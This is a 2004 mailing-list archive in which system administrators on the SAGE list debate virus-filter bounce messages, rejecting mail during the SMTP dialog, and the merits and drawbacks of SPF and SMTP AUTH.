ESMTP id i0UMBMcG014186 for ; Fri, 30 Jan 2004 14:11:23 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0UMBLiL001540 for ; Fri, 30 Jan 2004 14:11:21 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id D42C422887; Fri, 30 Jan 2004 14:11:20 -0800 (PST) Date: Fri, 30 Jan 2004 14:11:20 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040130221120.GM79295@bitshift.org> References: <20040130200238.GL79295@bitshift.org> <12627.1075494306@mental.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <12627.1075494306@mental.com> User-Agent: Mutt/1.4.1i X-Uptime: 1:59PM up 227 days, 17:09, 11 users, load averages: 0.16, 0.08, 0.03 Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 30, 2004 at 09:25:06PM +0100, Alexander Lobodzinski wrote: > () On Fri, Jan 30, 2004 at 08:53:05PM +0100, Alexander Lobodzinski wrote: > () > () It may just be me, but it would seem that best practice is to filter > () > () incoming email for ( spam | viruses | attachments | prohibited foo ) > () > () as it's received, silently. > () > > () > I hope there is some consent to rejecting the ( s | v | a | p ) > () > in the SMTP dialog if it is detected by a milter? Not to be > () > confused with accepting the junk via SMTP and sending it back > () > later. > () > () Nothing's sent back, hence "silently". > > What I mean is rejecting with "552|452 this is (s|v|a|p)" > instead of saying "250 Message accepted" and then discarding it. > *Not* sending anything back. While I think that doing this during receipt of the message, rather than accepting and discarding, is preferable, from a technical standpoint, I don't see the difference for certain classes of ( s | v | a | p ), and certain types of filtering. At least in the case of viruses, the entire message must be received (or most of it, anyway). before a final determination can be made (unless you're just matching on attachment filenames or extensions, which is problematic for false positives as well as missed viruses). So the message gets spooled whether it's accepted or rejected at time of receipt or after receipt. Besides, sending a 552 instead of a 250 is not likely to alter behavior. I think the past few years have amply demonstrated that MX operators are by and large unwilling to alter their outflow to adjust to changes in their income -- at least where "outflow" and "income" are email. If they were concerned about increased load due to virus activity, you'd see people taking action regarding these silly autonotifications. We don't, because they aren't. If you have the luxury of denying all attachments, that's great. If you have the resources to teergrube spammers in flagrante delecto, cool. But chances are, the upstream you're affecting is either an unwitting party, or managed such that any such impact will go unnoticed, or unheeded. The same holds true for any bounce sent to senders saying, "We don't like that sort of thing here." Beyond complaints to a.f.m-d, when's the last time you had a user correctly and intelligently read and comprehend a bounce message, and alter their behavior accordingly? Chances are the behavior's either intentional, in which case they don't care, or an unintentional byproduct of another intentional (or otherwise uncontrollable) behavior. (i.e., not running antivirus software, not having a firewall, and so on.) At best, mail from our friend Mr. M. Daemon confuses end-users. And as many of us are experiencing, AV bounces alarm them unnecessarily (hands up, those of you who haven't had a user come to you worried that their machine's infected with some variant of Worm.SCO.A this week). -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Fri Jan 30 14:42:12 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UMgBcH016012 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 14:42:11 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UMgBUU016011 for sage-members-outgoing; Fri, 30 Jan 2004 14:42:11 -0800 (PST) Received: from dave.net (dave.net [64.174.207.130]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UMg9cH016004 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 14:42:10 -0800 (PST) Received: from localhost.localdomain (fred [127.0.0.1]) by dave.net (8.12.8/8.12.8) with ESMTP id i0UMg8xo009606 for ; Fri, 30 Jan 2004 14:42:08 -0800 Received: (from dave@localhost) by localhost.localdomain (8.12.8/8.12.8/Submit) id i0UMg8A9009604 for sage-members@usenix.org; Fri, 30 Jan 2004 14:42:08 -0800 Date: Fri, 30 Jan 2004 14:42:08 -0800 From: David Good To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040130224208.GA9554@fred.dave.net> Mail-Followup-To: David Good , sage-members@usenix.org References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040130190931.GH79295@bitshift.org> User-Agent: Mutt/1.4.1i Received-SPF: pass (fred: domain of dave@localhost.localdomain designates 127.0.0.1 as permitted sender) Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 30, 2004 at 11:09:31AM -0800, "Mark C. Langston" wrote: > On Fri, Jan 30, 2004 at 01:42:50PM -0500, Ted Nolan SRI Augusta GA wrote: > > Interesting (and funny) article at > > > > http://www.attrition.org/security/rant/av-spammers.html > > > > I know I've gotten hundreds of bogus "you have sent" warnings this week.. > > > > > > It may just be me, but it would seem that best practice is to filter > incoming email for ( spam | viruses | attachments | prohibited foo ) > as it's received, silently. > > Perhaps what's also needed to assuage those who feel a burning urge to > have some outbound notification is a similar, outgoing email filter for > ( spam | viruses | attachments | prohibited foo ), and subsequent > notification sent to the user whose system just tried to send it (if > possible). > > The assumption here is that mail being relayed through your mail server > can only come from a small, finite set of hosts of which you're aware > and over which you have some modicum of control. > That's the idea behind SMTP+SPF (http://spf.pobox.com). If every domain advertises rules to determine who's allowed to send mail from that domain, a lot of this kind of traffic can be discarded without even needing to detect s | v | a | p. -- David Good dave@dave.net This space intentionally left blank. From sage-members-owner@usenix.org Fri Jan 30 14:46:15 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UMkEcH016549 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 14:46:14 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UMkEKt016545 for sage-members-outgoing; Fri, 30 Jan 2004 14:46:14 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UMkCcG016538 for ; Fri, 30 Jan 2004 14:46:12 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0UMk9iL011052; Fri, 30 Jan 2004 14:46:09 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id A13F222887; Fri, 30 Jan 2004 14:46:09 -0800 (PST) Date: Fri, 30 Jan 2004 14:46:09 -0800 From: "Mark C. Langston" To: David Good Cc: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040130224609.GN79295@bitshift.org> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040130224208.GA9554@fred.dave.net> User-Agent: Mutt/1.4.1i X-Uptime: 2:45PM up 227 days, 17:54, 11 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 30, 2004 at 02:42:08PM -0800, David Good wrote: > On Fri, Jan 30, 2004 at 11:09:31AM -0800, "Mark C. Langston" wrote: > > On Fri, Jan 30, 2004 at 01:42:50PM -0500, Ted Nolan SRI Augusta GA wrote: > > > Interesting (and funny) article at > > > > > > http://www.attrition.org/security/rant/av-spammers.html > > > > > > I know I've gotten hundreds of bogus "you have sent" warnings this week.. > > > > > > > > > > It may just be me, but it would seem that best practice is to filter > > incoming email for ( spam | viruses | attachments | prohibited foo ) > > as it's received, silently. > > > > Perhaps what's also needed to assuage those who feel a burning urge to > > have some outbound notification is a similar, outgoing email filter for > > ( spam | viruses | attachments | prohibited foo ), and subsequent > > notification sent to the user whose system just tried to send it (if > > possible). > > > > The assumption here is that mail being relayed through your mail server > > can only come from a small, finite set of hosts of which you're aware > > and over which you have some modicum of control. > > > > That's the idea behind SMTP+SPF (http://spf.pobox.com). If every domain > advertises rules to determine who's allowed to send mail from that domain, > a lot of this kind of traffic can be discarded without even needing to > detect s | v | a | p. > Yes, and in the process, you'll force every person wishing to send mail with a particular From: to use only the authorized MX for the domain in that From:. My email-enabled cellphone and I would like to have a word with you if you think this doesn't break anything. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Fri Jan 30 14:52:46 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UMqjcH017184 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 14:52:45 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UMqjUG017183 for sage-members-outgoing; Fri, 30 Jan 2004 14:52:45 -0800 (PST) Received: from vbn.0039288.lodgenet.net ([63.145.225.170]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UMqicG017175 for ; Fri, 30 Jan 2004 14:52:44 -0800 (PST) Received: from [65.116.151.15] (helo=[172.28.12.71]) by vbn.0039288.lodgenet.net with esmtp (Exim 3.34 #1) id 1AmhVB-0007m6-00; Fri, 30 Jan 2004 14:52:41 -0800 In-Reply-To: <20040130224609.GN79295@bitshift.org> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> <20040130224609.GN79295@bitshift.org> Mime-Version: 1.0 (Apple Message framework v612) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <02BC249D-5377-11D8-B648-000A95DC3176@tuatha.org> Content-Transfer-Encoding: 7bit Cc: David Good , sage-members@usenix.org From: Colm Buckley Subject: Re: [SAGE] The sad and spammy state of virus filters Date: Fri, 30 Jan 2004 14:52:41 -0800 To: "Mark C. Langston" X-Mailer: Apple Mail (2.612) Sender: owner-sage-members@usenix.org Precedence: bulk On 30 Jan 2004, at 14:46, Mark C. Langston wrote: > Yes, and in the process, you'll force every person wishing to send mail > with a particular From: to use only the authorized MX for the domain in > that From:. > > My email-enabled cellphone and I would like to have a word with you if > you think this doesn't break anything. No, SPF allows you to specify which other sources your email can come from. That, in fact, is the whole point. Colm (you should be using TLS and authenticated SMTP anyway) -- Colm Buckley / colm@tuatha.org / +353 87 2469146 / www.colm.buckley.name From sage-members-owner@usenix.org Fri Jan 30 15:00:27 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UN0QcH017866 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 15:00:27 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UN0QiJ017863 for sage-members-outgoing; Fri, 30 Jan 2004 15:00:26 -0800 (PST) Received: from gate.mental.com (gate.mental.com [192.31.14.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UN0OcG017857 for ; Fri, 30 Jan 2004 15:00:25 -0800 (PST) Received: (from uucp@localhost) by gate.mental.com (8.12.10/8.12.10/Lobo-031007) id i0UN0NFD024841 for ; Sat, 31 Jan 2004 00:00:23 +0100 (CET) Received: from twen(172.16.0.5) by gate via smap (V2.1/Lobo-030905) id xma024838; Sat, 31 Jan 04 00:00:20 +0100 Received: from mental.com (lobo@localhost [127.0.0.1]) by mental.com (8.12.10/8.12.10/Lobo-040120) with ESMTP id i0UN0KsL020956 for ; Sat, 31 Jan 2004 00:00:20 +0100 (MET) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-reply-to: "Mark C. Langston"'s message of Fri, 30 Jan 2004 14:46:09 PST <20040130224609.GN79295@bitshift.org> Organization: mental images GmbH, Berlin, Germany Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 31 Jan 2004 00:00:20 +0100 Message-ID: <20955.1075503620@mental.com> From: Alexander Lobodzinski Sender: owner-sage-members@usenix.org Precedence: bulk () > That's the idea behind SMTP+SPF (http://spf.pobox.com). If every domain () > advertises rules to determine who's allowed to send mail from that domain, () > a lot of this kind of traffic can be discarded without even needing to () > detect s | v | a | p. () () Yes, and in the process, you'll force every person wishing to send mail () with a particular From: to use only the authorized MX for the domain in () that From:. () () My email-enabled cellphone and I would like to have a word with you if () you think this doesn't break anything. If I got it right, you either could put all your cellphone provider's mail servers into the SPF-DNS of bitshift.org, or (probably better) make your cellphone send mail through SMTP AUTH via your own mail server. Can you cellphone speak SMTP AUTH? I'm planning on buying a SonyEricsson P900 which according to its specs can do that, and IMAP/S too. Experiences with that toy, anybody? I think SPF sounds like a rather good idea. Will take some time to convert my external users to SMTP AUTH though. Ciao, Lobo From sage-members-owner@usenix.org Fri Jan 30 15:02:56 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UN2ucH018220 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 15:02:56 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UN2t3g018216 for sage-members-outgoing; Fri, 30 Jan 2004 15:02:55 -0800 (PST) Received: from ribbit.roadtoad.net (IDENT:root@ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UN2scG018200 for ; Fri, 30 Jan 2004 15:02:54 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0UN2piL016205; Fri, 30 Jan 2004 15:02:52 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id B9E5F2288A; Fri, 30 Jan 2004 15:02:51 -0800 (PST) Date: Fri, 30 Jan 2004 15:02:51 -0800 From: "Mark C. Langston" To: David Good , sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040130230251.GO79295@bitshift.org> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> <20040130224609.GN79295@bitshift.org> <02BC249D-5377-11D8-B648-000A95DC3176@tuatha.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <02BC249D-5377-11D8-B648-000A95DC3176@tuatha.org> User-Agent: Mutt/1.4.1i X-Uptime: 2:56PM up 227 days, 18:05, 11 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Fri, Jan 30, 2004 at 02:52:41PM -0800, Colm Buckley wrote: > On 30 Jan 2004, at 14:46, Mark C. Langston wrote: > > >Yes, and in the process, you'll force every person wishing to send mail > >with a particular From: to use only the authorized MX for the domain in > >that From:. > > > >My email-enabled cellphone and I would like to have a word with you if > >you think this doesn't break anything. > > No, SPF allows you to specify which other sources your email can come > from. That, in fact, is the whole point. Right. And what if the dynamic IP my cellphone receives isn't on that list? I should be able to send out email, particular work-related email, as myself (with my work domain), from my mobile devices. Many mobile devices require you to use the mobile provider's mailserver, not the authorized domain mail server, as the relay. That's only one example. It's admitted as a point of breakage on the SPF pages. Sure, everyone's specifying ?all now, but eventually those are going to change to fail for all unknowns. When that happens, a lot of things are going to break. And a lot of people are going to grumble. For example, the postfix install on this machine is more stable than the sendmail MX run by the ISP I'm behind. Yet the privilege of being able to specify the domain I want to use as part of my From: header, from anywhere, without having to worry about what MX it's going through (modulo relaying issues), will disappear with SPF. I do not look kindly on a future where there are but a small number of authorized sources for mail from a given domain. It stinks of future profit margin and excuses to further limit user freedoms. There are other solutions (and at least two competing approaches that, unlike SPF, already have draft RFCs in place), and they should be investigated. I will not ask "how high" just because AOL said "jump". -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Fri Jan 30 15:05:33 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UN5WcH018691 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 15:05:33 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UN5WsY018690 for sage-members-outgoing; Fri, 30 Jan 2004 15:05:32 -0800 (PST) Received: from ribbit.roadtoad.net (ribbit.roadtoad.net [209.209.8.7]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UN5VcG018683 for ; Fri, 30 Jan 2004 15:05:31 -0800 (PST) Received: from tethys.bitshift.org (c-24-6-19-105.client.comcast.net [24.6.19.105]) by ribbit.roadtoad.net (8.12.9/8.12.2) with ESMTP id i0UN5QiL016627 for ; Fri, 30 Jan 2004 15:05:26 -0800 (PST) Received: by tethys.bitshift.org (Postfix, from userid 1001) id 340822288D; Fri, 30 Jan 2004 15:05:26 -0800 (PST) Date: Fri, 30 Jan 2004 15:05:26 -0800 From: "Mark C. Langston" To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters Message-ID: <20040130230526.GP79295@bitshift.org> References: <20040130224609.GN79295@bitshift.org> <20955.1075503620@mental.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20955.1075503620@mental.com> User-Agent: Mutt/1.4.1i X-Uptime: 2:56PM up 227 days, 18:05, 11 users, load averages: 0.00, 0.00, 0.00 Sender: owner-sage-members@usenix.org Precedence: bulk On Sat, Jan 31, 2004 at 12:00:20AM +0100, Alexander Lobodzinski wrote: > > If I got it right, you either could put all your cellphone > provider's mail servers into the SPF-DNS of bitshift.org, or Well, it's work domains, not personal domains, I was referring to. And the end user rarely has that sort of power over the domain's TXT records. > (probably better) make your cellphone send mail through SMTP > AUTH via your own mail server. > Fine, if the carrier allows it. Many do not. And not just for cellphones either (cf. Earthlink and other large providers that insist all port 25 traffic go through their, and only their mailservers.) > Can you cellphone speak SMTP AUTH? I'm planning on buying a > SonyEricsson P900 which according to its specs can do that, > and IMAP/S too. Experiences with that toy, anybody? > So everyone should just buy new cellphones just because AOL and a few others have decided, ad-hoc, that SPF is the way it's going to be? no thanks. -- Mark C. Langston Sr. Unix SysAdmin mark@bitshift.org mark@seti.org Systems & Network Admin SETI Institute http://bitshift.org http://www.seti.org From sage-members-owner@usenix.org Fri Jan 30 15:26:26 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UNQQcH020217 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 15:26:26 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UNQPGK020216 for sage-members-outgoing; Fri, 30 Jan 2004 15:26:25 -0800 (PST) Received: from gate.mental.com (gate.mental.com [192.31.14.2]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UNQNcG020211 for ; Fri, 30 Jan 2004 15:26:24 -0800 (PST) Received: (from uucp@localhost) by gate.mental.com (8.12.10/8.12.10/Lobo-031007) id i0UNQNJE025073 for ; Sat, 31 Jan 2004 00:26:23 +0100 (CET) Received: from twen(172.16.0.5) by gate via smap (V2.1/Lobo-030905) id xma025071; Sat, 31 Jan 04 00:26:15 +0100 Received: from mental.com (lobo@localhost [127.0.0.1]) by mental.com (8.12.10/8.12.10/Lobo-040120) with ESMTP id i0UNQDsL021739 for ; Sat, 31 Jan 2004 00:26:13 +0100 (MET) X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: sage-members@usenix.org Subject: Re: [SAGE] The sad and spammy state of virus filters In-reply-to: "Mark C. Langston"'s message of Fri, 30 Jan 2004 15:02:51 PST <20040130230251.GO79295@bitshift.org> Organization: mental images GmbH, Berlin, Germany Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 31 Jan 2004 00:26:13 +0100 Message-ID: <21738.1075505173@mental.com> From: Alexander Lobodzinski Sender: owner-sage-members@usenix.org Precedence: bulk () And a lot of people are going to grumble. Don't forget that we lead this discussion because a lot of people are grumbling *right now*. Any change may make different people grumble, but if in total there is less grumbling in the end, then something appears to work somehow. () There are () other solutions (and at least two competing approaches that, unlike () SPF, already have draft RFCs in place), and they should be investigated. I will investigate. Do you have pointers, please? I'll gladly accept them off-list if everybody else here already knows them. () I will not ask "how high" just because AOL said "jump". Well spoken, but don't draw wrong conclusions. You know, I'm lucky enough not having to care about them at all. Ciao, Lobo From sage-members-owner@usenix.org Fri Jan 30 15:50:40 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UNoecH021532 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 15:50:40 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0UNoex0021531 for sage-members-outgoing; Fri, 30 Jan 2004 15:50:40 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0UNobcH021525 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 30 Jan 2004 15:50:38 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0UNoXxe054155; Fri, 30 Jan 2004 18:50:34 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20040130224208.GA9554@fred.dave.net> References: <200401301847.i0UIlFt7020871@solabel8.ga.erg.sri.com> <20040130190931.GH79295@bitshift.org> <20040130224208.GA9554@fred.dave.net> Date: Fri, 30 Jan 2004 23:49:33 +0100 To: David Good From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 2:42 PM -0800 2004/01/30, David Good wrote: > That's the idea behind SMTP+SPF (http://spf.pobox.com). If every domain > advertises rules to determine who's allowed to send mail from that domain, > a lot of this kind of traffic can be discarded without even needing to > detect s | v | a | p. I need to put up an "SPF Considered Harmful" page. This kind of crap is going to be the death of e-mail. Years ago, Paul Vixie said that the real problem wasn't spammers, but the unbelievably insane and incredibly asinine things that anti-spammers were willing to do to try and stop the spam. I'm starting to think that he's right. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 30 16:03:29 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V03TcH022609 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 16:03:29 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0V03TCA022608 for sage-members-outgoing; Fri, 30 Jan 2004 16:03:29 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V03QcH022592 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 30 Jan 2004 16:03:27 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0V03Exg054682; Fri, 30 Jan 2004 19:03:22 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <20955.1075503620@mental.com> References: <20955.1075503620@mental.com> Date: Sat, 31 Jan 2004 00:56:48 +0100 To: Alexander Lobodzinski From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 12:00 AM +0100 2004/01/31, Alexander Lobodzinski wrote: > If I got it right, you either could put all your cellphone > provider's mail servers into the SPF-DNS of bitshift.org, or > (probably better) make your cellphone send mail through SMTP > AUTH via your own mail server. Using SMTPAUTH is the ideal, yes. However, you cannot realistically force everyone in the world to do that. > Can you cellphone speak SMTP AUTH? I'm planning on buying a > SonyEricsson P900 which according to its specs can do that, > and IMAP/S too. Experiences with that toy, anybody? I got a P900 a couple of days ago. I haven't fully converted to it yet, because I have a lot of phone numbers stored in my old Nokia 6310i that I haven't yet been able to get sync'ed. There is a place in the configuration options where it says to use authentication, and you can choose whether or not to use the data from your POP3 inbox or provide something else. However, I have yet to be able to get it to work. Moreover, I think that it's going to be a very, very long time before all MUAs support things like SMTPAUTH (well, done properly -- Microsoft makes a seriously bad hash of doing it now), or TLSSMTP. > I think SPF sounds like a rather good idea. Will take some > time to convert my external users to SMTP AUTH though. It's a really, really bad idea. It breaks .forward, it breaks alias-based mailing lists, and it breaks all forms of legitimate third-party relay. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 30 16:03:38 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V03bcH022650 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 16:03:37 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0V03blG022647 for sage-members-outgoing; Fri, 30 Jan 2004 16:03:37 -0800 (PST) Received: from vhost109.his.com (vhost109.his.com [216.194.225.101]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V03YcH022633 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 30 Jan 2004 16:03:35 -0800 (PST) Received: from [10.0.1.2] (localhost.his.com [127.0.0.1]) by vhost109.his.com (8.12.6p3/8.12.3) with ESMTP id i0V03Exk054682; Fri, 30 Jan 2004 19:03:32 -0500 (EST) (envelope-from brad.knowles@skynet.be) Mime-Version: 1.0 X-Sender: bs663385@pop.skynet.be Message-Id: In-Reply-To: <21738.1075505173@mental.com> References: <21738.1075505173@mental.com> Date: Sat, 31 Jan 2004 01:01:42 +0100 To: Alexander Lobodzinski From: Brad Knowles Subject: Re: [SAGE] The sad and spammy state of virus filters Cc: sage-members@usenix.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-sage-members@usenix.org Precedence: bulk At 12:26 AM +0100 2004/01/31, Alexander Lobodzinski wrote: > I will investigate. Do you have pointers, please? I'll gladly > accept them off-list if everybody else here already knows them. I was on the IETF/IRTF Anti-Spam Research Group. I got out because there were too many morons on the list, each of whom thought they'd found the Holy Grail of anti-spam solutions, and they were using the ASRG as their personal pulpit to push their private agenda, to the detriment of everyone else. I was told a long time ago that the ASRG was having their charter changed, and that once that happened, I should take another look at re-joining. Still hasn't happened yet, so far as I know. -- Brad Knowles, "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -Benjamin Franklin, Historical Review of Pennsylvania. GCS/IT d+(-) s:+(++)>: a C++(+++)$ UMBSHI++++$ P+>++ L+ !E-(---) W+++(--) N+ !w--- O- M++ V PS++(+++) PE- Y+(++) PGP>+++ t+(+++) 5++(+++) X++(+++) R+(+++) tv+(+++) b+(++++) DI+(++++) D+(++) G+(++++) e++>++++ h--- r---(+++)* z(+++) From sage-members-owner@usenix.org Fri Jan 30 16:03:49 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0V03mcH022737 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 30 Jan 2004 16:03:49 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org 